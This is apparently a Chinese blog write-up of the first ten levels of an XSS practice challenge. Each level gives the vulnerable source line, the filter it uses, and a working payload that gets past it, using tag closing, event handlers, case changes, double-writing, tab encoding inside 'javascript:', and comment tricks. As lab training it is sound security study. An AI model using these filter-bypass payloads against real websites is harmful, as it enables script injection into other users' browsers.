XSS 20关挑战

less1

反射型XSS也被称为非持久性CSS
当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。

alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。

查看源码window.alert = function()
echo "<h2 align=center>欢迎用户".$str."</h2>";没有过滤
直接调用函数就可以通关<script>window.alert()</script>

<script> 标签用于定义客户端脚本,比如 JavaScript。


less2

利用页面元素看到输入在<input name=keyword value="'.$str.'">
闭合input语句即可
1"><script>alert()</script>
1"><script>alert()</script><"

kqT7Ed.png


less3

查看页面元素<input name=keyword value='1'>在input语句里
尝试闭合无用
查看源码str都加上了htmlspecialchars函数,但默认配置是不过滤单引号的
'onmouseover='window.alert()即可

输入' <input name="keyword" value="" '="">
输入'' <input name="keyword" value="" ''="">
输入'onclick' <input name="keyword" value="" onclick''="">
输入onclick= <input name="keyword" value="" onclick="">


less4

输入"><script>alert()</script><"
查看可知<input name="keyword" value="" scriptalert()="" script""="">过滤了< >
利用上节方法
"onclick="alert()

更新于2019-03-03 11:19:50 星期日


less5

试过后发现onclick变为o_nclick
script变为sc_ript
使用"><a href="javascript:alert()">


less6

onclick script href输入后都进行了变化
"><a HRef="javascript:alert()">
keyword="ONclick="alert()
keyword="><scriPt>alert()</SCRIpt><"
keyword="><a HreF=javascript:alert()>213</a>"<
进行大小写替换可以


less7

script被过滤,改变大小写也没有用
on被过滤
href同样如此
keyword="><scriscriptpt>alert()</scrscriptipt><"
利用双写绕过

更新于2019-03-06 21:20:39 星期三


less8

这题可以添加链接
直接使用javascript:alert(1)
但并没有用,查看源码$str2=str_replace("script","scr_ipt",$str);被替换了
使用制表符绕过%09
keyword=javasc%09ript%3Aalert%281%29&submit=添加友情链接


less9

上题结果没有用,查看源码if(false===strpos($str7,'http://'))
知一定要有http://
在javascript伪协议里面,属于js范畴,所以单行注释符是可以使用的
javasc%09ript%3Aalert%281%29//http://www.test.com


less10

查看页面元素
AdFKeI.th.png
有几个隐藏的值,注入点就在这
keyword=test&t_sort=" type="text" onclick="alert()
AdkZNV.th.png


更新于2019-03-27 18:15:42 星期三